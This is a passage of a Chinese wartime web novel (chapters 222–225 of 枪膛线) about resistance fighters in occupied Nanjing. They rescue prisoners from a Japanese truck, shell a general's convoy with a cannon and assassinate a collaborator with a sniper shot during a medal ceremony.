囚车里的鬼子射界不会很理想,他们的枪口有一大片盲区,现在,曲思冬唯一所要做的,就是带领队员快速通过盲区,躲过鬼子的子弹,并贴近囚车。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第222章 兄妹重逢 囚车驾驶室里的两名鬼子在经过短暂的昏厥后忽然挣扎着抬起头,副驾驶座的那名刚刚打开车门探出脑袋,曲思冬想都没想,抬手一枪,副驾驶室里的那名鬼子应声倒地。 驾驶舱的鬼子反应机智,连忙低头矮身,并打开了驾驶室的车门,他要弃车逃跑。 如果这名鬼子逃离了汽车,必会依据汽车作掩护,在囚车的另一侧进行还击,这对营救小组而言,又会增加一条不利的因素。 不容曲思冬多想,他一个箭步从墙后冲出,紧接着一个翻滚,已逼近车头。 囚车箱体里顽固抵抗的鬼子,在当前情景下,他们只有利用囚车右侧的洞口和正前方的窗口展开有效拒敌,这两个射击口控制的范围却很局限,尤其是车身右侧的洞口,虽然遮蔽的黑布已被鬼子扯掉,洞口上也没有铁条阻挠,枪口可以随意转动,但是,由于洞口面积有限,如果为了提高准度刻意瞄准,那露出的脑袋必然会优先成为营救小组的目标。 这个道理,鬼子心知肚明。 囚车里的鬼子在遭受这突如其来的变故后,马上冷静了下来,他们唯一所能做的就是一面反击,阻止敌人靠近囚车,一面固守待援。四名鬼子做了简单的分工,一名鬼子守护在右侧的洞口下,时不时把枪口探出外面,朝着可能的方向放上几枪,当然,他没有勇气把脑袋停留在洞口作长时间观察。 另两名鬼子主要以正前方的窗口为阵地,这个窗口视野要开阔很多,几乎接近一百八十度。最后一名鬼子在车厢里机动,负责四处了望,并随时机动。 曲思冬冲出墙后之际,他的整个身子完全暴露在敌人的枪口下,这一点曲思冬非常清楚,但他管不了那么多了,好在储洪义几人非常默契,在曲思冬现身之际,他一声大吼,所有人立即集中火力对囚车的前窗进行火力压制。 曲思冬不等身子翻滚到位,左手用力按地,一个旱地拔葱,迅速腾起,把身体隐身于车头,这个位置,对于前窗的鬼子来说,已相对安全,现在,他要专注对付囚车左侧的那名司机。 鬼子司机心中清楚知道,他是现场目前最危险的目标,如果还傻乎乎守在原地顽抗,等待他的只有一个结果,那就是客死异乡。 看到有人对他逼了过来,这名鬼子立即向车后退却,可他刚跑到车尾,迎面撞上已从另一个方向低头摸过来的凌鼎天。 凌鼎天早有心理准备,当他和鬼子身体一接触,枪膛里的子弹就已怒射而出。 车厢内机动的鬼子已感知到左侧的异常,枪口刚探出洞口,曲思冬眼疾手快,从车头飞身而起,一手已握住鬼子的枪口,利用身体在空中的惯性,生生地把对方的步枪向外拔出少许。 握枪的鬼子不想脱手,死死地拽着,并极力踮起脚尖,尽量让枪口下探,准备找一个合适的时机扣动扳机,说不定会有意外的惊喜。 凌鼎天已抵近,见此情形,毫不犹豫对着洞口约摸着开了一枪。 枪口顿时一松,那名鬼子成为囚车内的第一个牺牲品。 这时陈大军也已赶到,曲思冬手指了指车顶,给他使了个眼色,陈大军会意,马上把手枪插到腰间,双手抱起曲思冬。 曲思冬脚踩囚车外侧的凸起部位,一个飞跃,上了车顶。 “去,设法打开车后门!”曲思冬大喝一声。 凌鼎天和陈大军转身来到车后门。后门是从里面反锁,要想打开谈何容易?无奈之下,二人只得猛踹铁门。 踹门声立即把一名鬼子吸引过去,尽管此时鬼子已四面失据,但他们似乎还不想放弃,他们依旧想堵住所有可能出现的漏洞。 营救小组有人跳起从右侧洞口射进一枪,这一枪虽然没伤到鬼子,但又把车前的一名鬼子吸引而去。 曲思冬从车顶上探下脑袋,看准一名鬼子,射出了一颗子弹…… 前窗的压力一小,储洪义找准机会,攀上卡车的连接部位,一枪打在鬼子的手臂上,鬼子一个趔趄,另一名队员适时又补射了第二枪…… 车里的最后一名鬼子已陷入绝望之中,他实在不知道如何有效反抗,干脆把身体藏在左前方的角落里,把枪口对准右侧的洞口,作垂死挣扎。 此时,车顶上的曲思冬已无太多顾忌,一手握住洞口边缘,大胆把脑袋探到洞口,眼睛稍稍一扫,他对车内的状况已了如指掌。 所有的囚犯均被蒙上了黑色的布套,双手被反铐在背后,排成两排坐在地上。 曲思冬刚把手伸进去,鬼子已察觉,他在躲闪之际,忽然灵感大开。 只见那名鬼子一矮身,从地上拎起一名囚犯,很快把身子藏在囚犯身后。 这名鬼子开始哇哇狂叫,一抬枪,对准不远处一名囚犯扣动扳机。 一声低闷的惨叫,囚犯倒地。 曲思冬心急如焚,但又投鼠忌器,正在这时,不知又有谁惊恐大喊:“鬼子的增援来了!” 曲思冬抬头,果见不远处烟尘滚滚。 这章没有结束,请点击下一页继续阅读!曲思冬再也管不了,把脑袋贴近洞口,对着洞口啸叫道:“干了这个鬼子,他现在没法开枪!” 鬼子的三八式步枪需要拉动枪栓才能再次发射,此时的他正把控制囚犯的手缩回,并搭在枪栓上。 这句话给了车厢里所有囚犯莫大的鼓舞,他们早就明白有人在劫囚车营救他们。 曲思冬话音未了,十余名囚犯腾地而起,尤以被鬼子控制的那名囚犯反应最为强烈,他已感受到手臂上的力量忽然消失,当即身先士卒,用尽吃奶的力气把背后的双手朝着鬼子的下腹撞去! 鬼子猝不及防,手里的长枪跌落于地,他的脑袋完全暴露在外。千钧一发之际,曲思冬把枪里面的最后一颗子弹埋进了他的大脑。 鬼子一毙命,曲思冬对着车内大声道:“秋儿,你在吗?” “哥……”一个带着哭腔的声音。正是曲思秋的声音。 “哥带你回家!” 这个时候,营救队员终于合力撞开后门,曲思冬心终于稍安。 可是不远处的鬼子车队正呼啸而来。 “所有人都上车!”曲思冬大声命令,不再迟疑,从车顶翻身下车,三两步冲到车前,闪进驾驶室,以最快的速度发动了汽车。 支援的鬼子已距离不到一百米,有鬼子开始抬枪射击。 曲思冬一踩油门,汽车猛地撞在路中央的棺材上,他接着猛打方向,车头擦过障碍物,终于倔强地奔跑起来。 八十米、七十米……转眼间,鬼子的部队已逼近上来,车厢后的营救小组成员纷纷躲在车门后举枪还击。 这辆卡车的加速远远抵消不了敌人追击的速度,距离被进一步拉近,已清晰可辨鬼子脸上的愤怒表情,情况万分危急。 正当营救小组以为,会不可避免再次遭遇一场恶战的时候,他们看到了奇迹的发生,一支十来人的队伍,从老虎桥路的马路东侧,悄无声息杀出,双方一言不发就交火,瞬息之间,已胶着在一起。 曲思冬根本不知道身后发生了什么,他只是一门心思急于把车开出危险地带。 油门已被他加到最大。 数分钟后,后面的枪声渐渐稀落,曲思冬把车开出老虎桥路,拐上了中山北路,接着又左拐向西,朝着南京城西北方向的荒野之地疾驰而去。 …… 鼓楼广场上即将进行的授勋仪式,已准备妥当。 嘉宾席上,松机关的机关长黑木将军正在和刚步入会场的岩井先生亲切交谈。 在黑木的身后,已坐满了特邀前来观摩的嘉宾,有南京赤盟会的会长陶天阙,有下关和秦淮区公所的所长薛飞风和丁易白,而鼓楼区公所的池碧疆居然也在受邀之列,除了这些人,还有十余名大日本帝国的友好人士。 在鼓楼广场的主席台的四周,是数十名荷枪实弹的鬼子,他们围城一圈,皆枪口平端,一致对外。再外围,是黑压的看热闹的人群。 广场四周,布满了警戒的鬼子。 渡边带着她的队员在外围巡视。除了这些,人群中,她还安排了为数不少的队员,穿成老百姓的模样,混迹在群众之中。 时间已是八点四十五分,离九点开幕的授勋仪式仅仅相差十来分钟。 现在,万事俱备,只等仪式的主角入场。他们是十位被授勋者和三位授勋者。 在黑木看来,所有的一切,异常的顺利。 黑木和岩井聊到中途,忽然想起台下的池碧疆,于是他和岩井打了个招呼,向池碧疆走来。 利用这有限的时间空档,他必须和池碧疆所长好好谈谈了。 “池先生,你好呀!”黑木远远招呼一句。 池碧疆慌忙起身,鞠了一躬,“将军!” 黑木笑容可掬,踱步而至。 黑木伸手握住他的手,正要进一步问话,忽然,就在这时,他的耳畔响起了密集的枪声。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第223章 重创授勋车队 黑木心一沉,目光立即从池碧疆脸上收回,侧耳一听,判断枪声来自东北方向。 主席台上的岩井也听到了枪声,疾步走下台,来到黑木身前,忙问:“怎么回事?是不是出事了?” 黑木再次细辨,大体听出离此地不远,忽然就联想起老虎桥监狱,当即答道:“听声音,好像来自老虎桥监狱附近,该不会是冲着我们的囚车去的?” 岩井犹自不信,询问道:“黑木君,你们抓了什么重要犯人?” “没有啊?”黑木决绝道,突然想起一人,思忖半天又摇了摇头。 正在此时,一辆轿车急速而至,车未停稳,副驾驶座跳下一人,迅速把身子贴近后门,一边四下转动脑袋一边警惕巡视,确定没有情况后才徐徐打开车门。 刘云雄小跑到黑木跟前,着急问道:“将军,出什么事啦?我好像听到枪声。” “没事!”黑木无所谓的样子,“估计是几个搅场子的小毛贼……”说着黑木微微踮起脚在人群中扫视一番,终于找到目标,大喊道:“渡边少佐,你安排几个人去看看到底发生了什么?” 黑木收回目光,终于落在了林赤的身上。 此时的林赤紧紧贴在刘云雄身后站着,还不忘四处探看。 “林桑,你辛苦了!”黑木的眼睛里露出嘉许之色。 林赤这才向黑木鞠了一躬,算是正式和黑木打了个招呼。 刘云雄看了看表,问道:“看样子授勋仪式要推迟了,快九点了。” 黑木也看了一下表,淡淡一笑道:“中岛这老儿每次都是踩着点到,这次恐怕也不例外。刘桑放心,中岛将军的时间观点还是很强的!” “砰!” 远处忽然传出类似于子弹的呼啸声,只是它要比子弹的声音要粗犷得多。 所有人的脸色一变,黑木高声叫道:“枪声吗?” 渡边刚刚指定了三名队员去前方打探,正向黑木走来,这突如其来的尖锐声响让她脚步一滞,听到黑木的问话声连忙跑了过来,边跑边答道:“不像是枪声啊!” “谁能告诉我刚才到底是什么声音?”黑木已明显有些不安。 这像是考官在出一道题目,在场的人都被问住了,没有人能够回答,因而,几乎所有人内心都开始渴望声音再次出现,好找出答案,这样的念头一闪过,果然遂愿,空气中又震荡而来同样的声响。 “砰!” 不知何时,岩井也加入了他们,岩井率先抢答:“会不会是炮?” “不是!炮声要比它粗得多!”刘云雄摇了摇头,断然道。 黑木表示赞同,“什么炮这么小的声音?” 岩井的答案被考官否定,他不好意地笑笑,但这笑容里藏满了忧虑。 “就是炮!”话音未落,忽然又有人大声抢答,岩井心中一喜,居然他的答案有了共鸣者,有人和他同一阵营,便循声看去。 说话的正是刘云雄身旁的那名“警卫”,岩井在绿柳居见过一面的林赤。 “哦?”黑木对林赤投过去狐疑的目光。 “如果我判断没错的话,这是一种机炮!”林赤说得肯定,“这是机炮在进行点射,从刚才的炮声判断,他们在测距,我相信马上会开始齐发!” 黑木惊异地看了林赤一眼,期望他还能说点什么。 “别忘了,我毕业于法国炮兵大学,和炮打交道最多,如果我没记错的话,它是苏罗通S5-106 20毫米机炮,是高射炮的一种,只是口径偏小,只有20mm……”尽管黑木还有很多疑问,但当林赤说到此处时,他内心松了一口气,他不得不打断道:“如此说来,这是在打飞机喽?” “也许吧……”林赤淡淡道。 “难道是中国的飞机侵入我们的上空?” 话进行到这里,那个声音又响了起来,不过这一次竟然响成一片,如同爆豆一样密集传来。 “砰砰砰砰……” 黑木放下的心又悬了起来,迫不及待道:“……你们快听,果然齐发了!林桑,快分析分析到底发生什么了?” 林赤皱眉思忖片刻,忽然大悟道:“不好,这是高射炮平射!” …… 中岛的车队刚驶上中山北路,他就听到了一声尖锐的声音在车队西边不远处爆响,他心中一惊,循声望去,看到一处房屋群中腾起一缕烟尘,他稍加判断,便明白这是一门机炮在对他的车队展开攻击。 他起初并不慌张,然而当第二发炮弹在马路东边爆炸后,他心中顿时慌了,他对炮有研究,知道这门点射的机炮是在校准,而且从两次的落点看,他们的车队已被锁定。 他知道接下来等待他的是将是一个波次的打击。 他不再矜持,对驾驶士兵大呼一声:“快,超过他们,全速前进!” 驾驶员毫不犹豫猛踩油门,中岛的专车顿时像离弦之箭从车队中脱颖而出,很快成了车队的领头羊。 中岛并不罢休,一边四下张望一边命令司机继续加速。 这章没有结束,请点击下一页继续阅读!轿车开始离开车队。 正当这辆车离开车队不到二十米之际,最坏的预料果然出现,空气中炮声呼啸,如豕突狼奔。 第一波次的打击果然纷至沓来。 密集的炮弹劈头盖脸向车队倾泻而去,中岛忍不住转身,他最先看到的是一辆和他同款型号的DATSUN轿车,在凸出车队欲超车后突然中弹,车身开始失控,在马路上东倒西歪,紧接着,又一串炮弹补射而来,这辆车瞬息之间翻车起火。 呼啸的炮弹震耳欲聋,似乎一直追着他的座驾。 好在他提前了行动,才躲过一劫,又回头之际,他看到身后浓烟滚滚,不少挎斗摩托横亘在路上,那辆运兵卡车已经抛锚,陷在两棵梧桐树之间,士兵们纷纷跳车,仓惶奔跑。而地上躺满了受伤的士兵,到处一片狼藉。 他分明感受到士兵们痛苦的呻吟。 中岛幽怨的目光四下搜索,终于落在了四公里以外的一座山上,他知道,那才是此次祸端之源。 他把头一下子埋进了胸前,内心沮丧到了极点。 这样的挫败是他中岛平生少有,他一直标榜的良好治安竟然如同海市蜃楼,并且应验到他的身上。 DATSUN型轿车在中山北路上朝着鼓楼广场方向疾驰,中岛静静地靠在车椅后背,他不知不觉把脑袋转向窗外。 马路两边不间断巡逻的士兵见到这辆车后纷纷投上注目礼,显然,他们也听到了刚才激烈的炮声,只是他们根本不清楚到底发生了什么。 中岛深深地叹了一声气。 这一切还真是怪不了他的士兵,这是何等窝囊,明知受到攻击,却无能为力;明知敌人就在不远处,却鞭长莫及,这是多么耻辱的一件事啊! …… 黑木惴惴不安地朝着中山北路的路口眺望,他多么希望中岛的车队马上出现。他的前半生虽然主要是和情报打交道,但对于林赤所讲的“高射炮平射”,他尽管不甚明白,但已感知到事态的严重。 他必须在见到中岛一行人后,才可判定事态的恶劣程度。 九点一到,果然在路口出现了一辆车,黑木大概瞟了一眼,就发现后排座位上坐着的中岛,便快步迎上前去。 轿车在黑木面前一个急刹,中岛根本不等车停妥,便晃晃悠悠冲下车。 黑木已看出车队没有一道前来,只有中岛一辆专车,刚想询问,看到中岛已然是一副气急败坏的样子,急急问道:“出了什么事?清水和木村将军他们呢?” 中岛根本就不想搭理他,不耐烦地摆了摆手,目光死死盯着站在远处的吉田,咆哮道:“吉田少佐!” 吉田风一般跑步而至。 “传我命令,全城戒严!只许进不许出!” “是将军!” 黑木已清楚知道问题的严重性,待吉田走后,忐忑不安再次发问:“将军,到底发生什么啦?” “我们的车队遭到了袭击!”中岛咬牙切齿道。 黑木露出吃惊的神色:“有这等事?怎么可能?我们的警卫力量如此庞大,敌人怎么可能有机会?” “黑木君,难道你没听到刚才的炮声?”中岛提高了声音,朝着黑木翻了翻眼睛。 “炮声?”黑木呐呐道,心中有不少疑问,但知道中岛此时已是一只炸了毛的老虎,再问下去不合时宜,话题一转:“木村和清水将军怎么样了?” 这句话提醒了中岛,他瞥了一眼渡边,命令道:“少佐,你立即派出一队人去接应他们!” 渡边一走,中岛无力对黑木说道:“黑木君,形势不容乐观啊!”看到黑木聚精会神看着他,中岛继续说道:“敌人居然在清凉山架了一门炮,袭击了我们的车队。” “你确定他们的阵地在清凉山?” “那可是南京城的制高点,那里是攻击的最好阵地!” “用的是一门机炮?”黑木又问。 中岛诧异看了黑木一眼,“你怎么知道?” “我们中有一人听出了,而且是一门苏罗通S5-106 20毫米机炮……” 中岛恍然道:“我说呢,原来是高炮平射,真可恶!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第224章 狙击目标 吉田少佐派出去接应车队的人马很快返回,和吉田嘀咕了几句后,吉田立即哭丧着脸向中岛走来,中岛只是跟他一照面,便知道出了大事。 “情况怎么样?”中岛装作很淡定问道。 “将军,木村将军他……”吉田挤出了两滴眼泪,竟哽咽起来。 吉田少佐原属于十六师团二十联队,是联队长木村将军的一名爱将,而木村也是中岛的一名爱将,看到吉田悲伤的样子,中岛的心忽然一阵绞痛,尽管如此,他还是抱着一线希望,呵斥道:“快说!哭有屁用!” “木村将军他殉国了!” 吉田擦了擦眼泪,“他的专车中弹后翻车着火,里面的五人无一幸免!” 中岛一呆,身子有些摇摇欲坠,黑木伸手扶住了他,安慰道:“将军保重!” 中岛老泪纵横,“木村君跟了我整整三年,从东北一路征战到了南京,没想到居然弃我而去!” 中岛的哭又感染了吉田,吉田先是抽泣了几下,继而嚎啕大哭起来。 吉田一哭,中岛赶紧掏出手帕擦拭着眼睛,收住悲戚的神情,和蔼地对吉田说道:“少佐,现在不是伤心的时候,你告诉我,其他人什么情况?” 吉田强忍住悲痛,说道:“清水将军也受伤了,不过伤不严重,我们把他送到最近的鼓楼医院去了,除此之外,死亡三名士兵,而受伤的人数正在统计……” 中岛听到这儿,眼里似乎要喷出火来。 …… 东北角原国民政府警察厅官邸的二楼储物间里,徐格躲在窗子的帘布后面,枪口探出窗户少许,他的眼睛贴在瞄准镜后,一眨不眨。 他此时心里奇痒无比。 他已发现照片上的目标,但一直苦于没有特别好的机会,在目标的身后,总有一人时不时地转悠,那个人比目标的身高要高,每每徐格瞄准之际,他总是适时挡住了他。 上级给他的命令是只许开一枪,并且这一枪必须达到目的,这是一个匪夷所思的命令,徐格从没遇到过这样的任务,当时他非常好奇,忍不住想一问究竟,但给他下达命令的指挥官断然阻止了他的无理要求,并非常严肃对他进行了批评。 “这是重庆下达的最高命令,你必须心无旁骛!任务一结束,立即撤离!到时我们会有人接应你!” 有一点他很清楚,那就是他的任务目标是一名叛徒,而且官至少将,可是当他从瞄准镜中看到了一名鬼子少将后,他的牙根就恨得痒痒的,刹那间他很想改主意,他深深以为射杀一名中国的叛徒实在没有击杀一名鬼子少将意义来得更重大。 然而不久后,他的心更是狂乱如鹿撞,因为他看到了一名更高军衔的鬼子军官。 当然,徐格不知道这两名鬼子军官一名是黑木,一名是中岛,均是南京城里呼风唤雨的人物。 徐格在经过一番激烈的思想斗争后,还是没让心中的野草进一步滋长。 他在等最合适的机会,一个一枪就能达成目的的机会。 …… 时间已到了上午十点,一轮明丽的太阳高悬空中。 鼓楼广场的授勋仪式没能如期举行,在松机关的黑木将军看来,这场仪式基本上是黄了。 十名被授勋者倒有三名死于非命,而五名授勋者倒有一人身亡,另一名也进了医院,无论如何,这场仪式看起来已不像那么回事,某种意义上,更像是场治丧会。 黑木和中岛以及岩井三人站在主席台下,自然而然地谈起了这场仪式接下来的走向。 中岛依旧在坚持,但岩井和黑木极力反对。 中岛的坚持有他的道理,他执着认为,敌人越不让他干的事,他越是要做,他堂堂一名师团长是不会让敌人遂愿的。 黑木和岩井反对的理由也很充分,三名授勋者给七名被授勋者颁发证书、佩戴授章,这和最初军中公布的真实情况偏差太多,本来授勋仪式的终极意义就是提升士气,如此做来,定会适得其反,况且3和7根本就不是一个吉利的数字。 中岛还在据理力争,黑木说话了,“中岛君,我知道阁下对发生这样的事情很生气,但是这个气我会让你出!” 中岛翻了翻眼睛,嘲讽道:“黑木君所指的是惩戒仪式?阁下不会认为这样的仪式会让我受伤的心灵得到抚慰?这十数名冥顽分子可以和我大日本帝国的一名将军、三名勇士相提并论?黑木君,你太天真了!” “可是,这口气必须要出,我要杀杀支那人的气焰,要给他们血的教训!而且刻不容缓!” 此言一出,黑木忽然想起这个点,老虎桥监狱的那辆押送犯人的囚车怎么的也该到了,莫不是……也出现了意外?他联想到不久前老虎桥方向的激烈枪声,顿时浑身冰冷,正意乱之际,行动处李泉带着两名队员跑来,先是看了一眼渡边,然后又看了看黑木和中岛,竟不敢发声。 黑木只是狠狠地瞪了他一眼,李泉嗫嚅道:“将军,老虎桥监狱的囚车遭到了劫持,下落不明!” 本小章还未完,请点击下一页继续阅读后面精彩内容!轮到黑木悲愤起来,憋了半天,终于歇斯底里狂叫道:“八嘎!” 看到黑木愤懑的模样,中岛毫不迟疑道:“马上开始授勋仪式!” 他的话斩钉截铁,竟然不容他人再争辩。 黑木不再坚持,他蓦然觉得自己已人微言轻,朝渡边挥了挥手道:“马上举行授勋仪式!” 命令一下,整个广场的工作人员纷纷忙碌起来。 主席台一侧的军乐队开始奏响激昂的号声,在这血脉贲张的进行序曲中,准备工作有序进行。 三名授勋主角心情各异地登上主席台就坐。 有礼仪人员手捧红花从主席台后面走来,她们款款地朝着几名被授勋者走去…… “轰!” 就在这时,一声巨大的爆炸声骤然响起,震得大地发颤。 在鼓楼广场东北角的警察厅三层官邸的楼顶上,顿时腾起一股浓烟,震碎的瓦片和墙砖四处飞散。烟尘滚滚。 “有袭击!”吉田少佐拔出指挥刀,一声狂喊。 主席台上的三位嘉宾霍地站起,满脸惊愕,同时拔出手枪,主席台旁的警卫一个跳跃立即冲上前去,把三人团团围住,警惕地四下张望,眼神中满是惊恐。 围观的人群哪里见过这等阵势,一刹那醒悟过来,再待在此地看热闹,显然有性命之虞,想都没想纷纷四处逃命。 外围的士兵起初把身体转向外侧,呈高度戒备状,又见人群开始豕突狼奔,想阻止已无可能,一时间顾此失彼,现场已然失控,乱成一团。 有人开始朝天开枪,意欲制止慌乱的局面,没想到,此枪一开,人们开始哭爹喊娘,跑得更欢了。 黑木和中岛死死盯着楼顶,在他们的意识里,既然炸弹从那栋楼爆响,自然有埋伏,在那里定然隐藏着无法预见的危险! 而此时,刘云雄已和林赤分开,正夹杂在授勋的队列里,本准备接受礼仪人员来此佩戴红花,听到爆炸声后,其他人一眨眼的功夫已四散开来,唯有他站立在原地,他的目光和众人一样,落在了那栋大楼上,他下意识拔出了手枪。 他岿然不动的身子,成了徐格的活靶子,就在那毫秒之间,从二楼的窗口意外飞出了一颗急速的子弹。 “砰!” 这颗子弹在嘈杂纷乱的空气中,发出尖锐的呼啸声,朝着刘云雄急射而来。 没等众人明白怎么回事,刘云雄一个踉跄,单腿跪地,委顿倒地。 几乎在枪响的那一瞬间,黑木高呼一声:“保护刘将军!”话音刚落,几名松机关的行动队员冲上前去,把刘云雄围了起来,形成了一堵人墙。 这里面,包括林赤在内。 林赤的手里已多了一支勃朗宁手枪。 “包围那栋大楼!”中岛不顾一切喊道。 得到命令,吉田少佐立即带着一队人马直奔大楼而去。 …… 徐格从瞄准镜里看到目标倒地,内心却没有丝毫的高兴,因为他根本无从判断这一枪到底是否达成目的,他怀着忐忑不安的心情收起九七式狙击步枪,迅速向二楼的楼梯跑去,他预先踩过点,在二楼的楼梯后,有一扇窗户,这是他逃离这栋大楼的唯一通道。 他必须在最快的时间从窗户后逃生,以免被鬼子包了饺子。 他飞一般跑到窗户旁,大概瞟了一眼,发现楼后尚没有出现敌人,想都没想,他纵身跃了下去。 双脚一着地,他迈腿狂奔。他要在最短的时间里,脱离这片是非之地。 没跑几步,中山北路的不远处传来了激烈的枪声。徐格内心一喜,知道接应自己的人马来了,他用尽全力撒腿奔跑,他必须和鬼子争分夺秒。 …… 领事馆四楼上的工藤夕贵从一大早就埋伏此地,这中途,他也听到了两次异常的枪炮声,他尽管内心存疑,但硬是没有挪动一下身体。 现场的一切他自以为均在他们的掌控之中,这过程中,他多次通过瞄准镜观察过对面的大楼,他当然也发现了二楼一扇窗户后,移动幅度微小的枪口,但从枪支的外形他判断埋伏在那里的应是自己人。 虽然工藤没能看清那张脸,但那是一支和自己手里一模一样的九七式狙击步枪,显然是牧野那组人中的其中一人。 当授勋仪式即将举行的时候,意想不到的事发生了,他看到刘云雄受伤倒地。 那一刻他知道自己大意了,他陷入了深深的自责中。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第225章 螳螂和黄雀 狙击手工藤夕贵终于决定挪动身位,他一跃而起,手拎狙击步枪,低头猫腰,迅速向天台的西北方向跑去。 从刘云雄被击伤倒地那一刻起,他清楚知道,对方也是一名狙击手,从那栋大楼到授勋主席台,足足有一百八十米之远,这么远的距离,对方能做到一枪击中目标,这绝非一般人可以做到。 工藤已经很久没有遇到对手了,他不是一个甘于平庸的人,作为一名优秀猎人的后代,好战是他的本性,而能遇上一个旗鼓相当的对手,这是他连做梦都在追求的,他像是一个闻到腥味的猛兽,整个人顿时亢奋起来。 此时,他最担心的就是对手从大楼后面跳楼逃走,在帝国士兵没有包抄上去之前,即便是他本人,也断然认为这是最好的选择。 因而,工藤唯一所要做的,就是在最短的时间内,占据领事馆大楼最西北端的天台,只有在那里,他才能最大限度看到警察厅官邸大楼后面,到底会有什么发生。 尽管依旧有大部分视野盲区,但这已是最好的狙击点了。他把狙击枪架在水泥围挡上,眼睛死死地盯着楼后的那片扇形区域。 徐格一口气跑出一百多米,发现身后没有追兵,而左前方的中山北路上,枪声愈来愈激烈,并能隐约听到嘶喊声,他明白这是自己人在拼力撕破鬼子的防线,意欲把他接应出重围。 徐格心中一热,一边奔跑一边拉了拉枪栓,他开始斜着向中山北路跑去,只要一踏上中山北路,鬼子一旦进入他的视线,他有十足的信心一枪干掉一个。 中山北路靠近自己一侧,是一排排店铺,他沿着店铺的后墙快速潜行,没跑多远,前行的路被一排紧挨店铺的民房挡住,他不再犹豫,立即穿过两间店铺的过道,朝着中山北路方向而来。现在,只要几步,他就可以跨上中山北路。 徐格终于踏上了中山北路的水泥马路。 同时,他也踏上了死亡的归途。 他先是回头探望一番,依旧没有出现追兵,他确信鼓楼广场上的鬼子,此时应该正在围剿那栋大楼,根本无人追击而来,再看前方,两百米远的地方,果然有无数不少的鬼子和一队人马激战正酣。 这个距离,徐格没有太多把握,他想都没想,继续提着长枪,从鬼子身后快速逼近。 一口气又跑出五六十米,鬼子的模样已清晰可辨,徐格一个箭步,跳到路边一间店铺的隔墙后,同时把身子缩进,左手一抬,已把狙击步枪端起。 瞄准…… 徐格的手指搭在扳机上,他确信,只要他此时一扣动,定然大有斩获。 然而,螳螂捕蝉黄雀在后,此时此刻,徐格的身体已完全暴露在工藤的瞄准镜里。 工藤心中一喜,他的手指同样也紧紧搭在扳机上。 只是,先扣响扳机的不是徐格,而是工藤夕贵。 一颗罪恶的子弹仅用了二分之一秒不到的时间,就击中了徐格的身体。 徐格手里的长枪脱手飞出,一个趔趄,他的整个身子轰然倒地。 …… 此时,广场上已不见一名中国百姓。 参加授勋仪式的中岛和黑木等人,已屏退了把他们团团围住的士兵,义无反顾地来到东北角的三层大楼前,亲自实时指挥。 大批的日军士兵涌进大楼,开始地毯式搜索。 工藤那一枪,并未把徐格击毙,一开始徐格还试图逃跑,但很快体力不支。他再次倒地,追上来的鬼子轻而易举俘虏了他。 转瞬间,徐格被一群鬼子簇拥着,押向鼓楼广场,等待着几位将军的过目。 早有人飞报二位将军,行刺的狙击手已被击伤,并正押解而来。中岛和黑木二人站在日军围成的一堵人墙之中,已远远看到嫌疑人步履蹒跚渐行渐近。 中岛和黑木双目对视,会心一笑,大概意思是今天的这份试卷总算没有考零蛋。 他们恨不得马上撬开他的嘴巴,好彻底了解一下今天的这场从天而降的横祸到底因何而起。 黑木和中岛二人把热切的目光投在徐格身上。 他们看到一群士兵在推搡着嫌疑人,看到中山北路上的战事已偃旗息鼓;看到作乱的匪徒已不知所踪;看到更远处的士兵在集结警戒,看到有士兵在风中点起一根烟;看到受伤的士兵相互搀扶着走来…… 他们还看到从中山北路的路边一侧,不知何时闪出一名士兵,正慢慢悠悠朝着嫌疑人走去,只见他不慌不忙掏出一支手枪…… 中岛和黑木隐隐觉得事有蹊跷,念头一闪,还没来得及喊叫,只见那名士兵忽然抬手,他的枪口正是对着受伤被捕的嫌疑人…… “砰!”一声枪响,渐趋平静的街道被尖锐的枪声再次划破。 子弹击中了嫌疑人的脑门,鲜血四溅,重重地卧倒在硬冷的水泥路上,一滩鲜红的血液在路面上肆意流淌。 猝不及防的士兵们顿时阵形大乱,仓皇之际,他们纷纷举枪。 此情此景,那名行刺的日军装束的士兵竟没有一丝慌张,他全无逃跑的意思,只见他岿然不动,抬起的枪口突然掉头一百八十度,并顶在了自己的额头上!没容日军士兵明白怎么回事,又是一声枪响。 这章没有结束,请点击下一页继续阅读!与徐格一样,他当即倒地身亡,甚至没有留下一句话。 这片刻之间,所发生的一切,让黑木和中岛二人惊惧万分,他们张大着嘴,半天没有合上。 …… 狙击手工藤夕贵带着队员从领事馆大楼下来,匆匆来见黑木,被黑木毫不留情甩了一记大耳光。 年届半百的中岛已经累了,被下属扶进了警察厅官邸大楼,找了一张破旧的沙发坐下,他大口喘着粗气,不停地挥着手帕擦拭汗水。 搜索的士兵从这座大楼里搜出两具尸体,工藤稍加辨认,便认出是牧野和另外一名队员的,他们双目圆瞪,似乎在向中岛长官诉说其所历经的非人遭遇。 经过事后对这座大楼细致的检查、后窗跳楼的脚印、支那狙击手手里的狙击枪以及牧野二人尸体僵硬的程度和尸斑,他们一致得出结论:这座大楼从今早起,只窝藏了一人,就是刚刚殒命的那名身份不详的狙击手,可以进一步断定,牧野二人之死是在昨夜,定有一小股人潜入了这座大楼,掐死了两名帝国狙击手,并把他们的武器占为己有,只是现场只发现了一支狙击步枪,而另一支不知所踪。 最后,让中岛和黑木怎么也无法想通的就是楼顶上的爆炸,当时现场的真实情景,几乎是在爆炸一响,支那狙击手就立即对刘云雄实施了狙杀,从工藤反馈的情况来看,支那狙击手显然是藏在二楼的临街的储物间里,而爆炸发生在楼顶烟囱处,如此远的距离只要是个人,定然分身无术,因而可以肯定这包炸药并非此人引爆。 然而,这包炸药,在无人的情况下被引爆,这到底是怎么才能做到的? 中岛不甘心,让吉田少佐带人再查。 吉田带着五六名士兵爬上了楼顶,又一次对楼顶作了细致的检查,半个小时后,他终于有所发现。 下楼报告中岛的吉田少佐,带回了一块亮晶晶的玻璃。 中岛戴起手套,接过这块玻璃,黑木好奇地凑上前。中岛不自觉地举起它,四处照看一番,这时他看到了玻璃中的黑木的脸。 同时,黑木也看到了中岛的脸。 两人同时看到一张扭曲变形、无限放大的脸庞,一瞬间,二人同时会意,不由长叹一口气,几乎不约而同咬牙切齿骂了一句:“八嘎!” 一气之下,中岛狠狠地把手中的玻璃摔向地板。 这块有如瓶底厚的玻璃既顽强又顽皮,在地上跳了几下,居然完好如初。 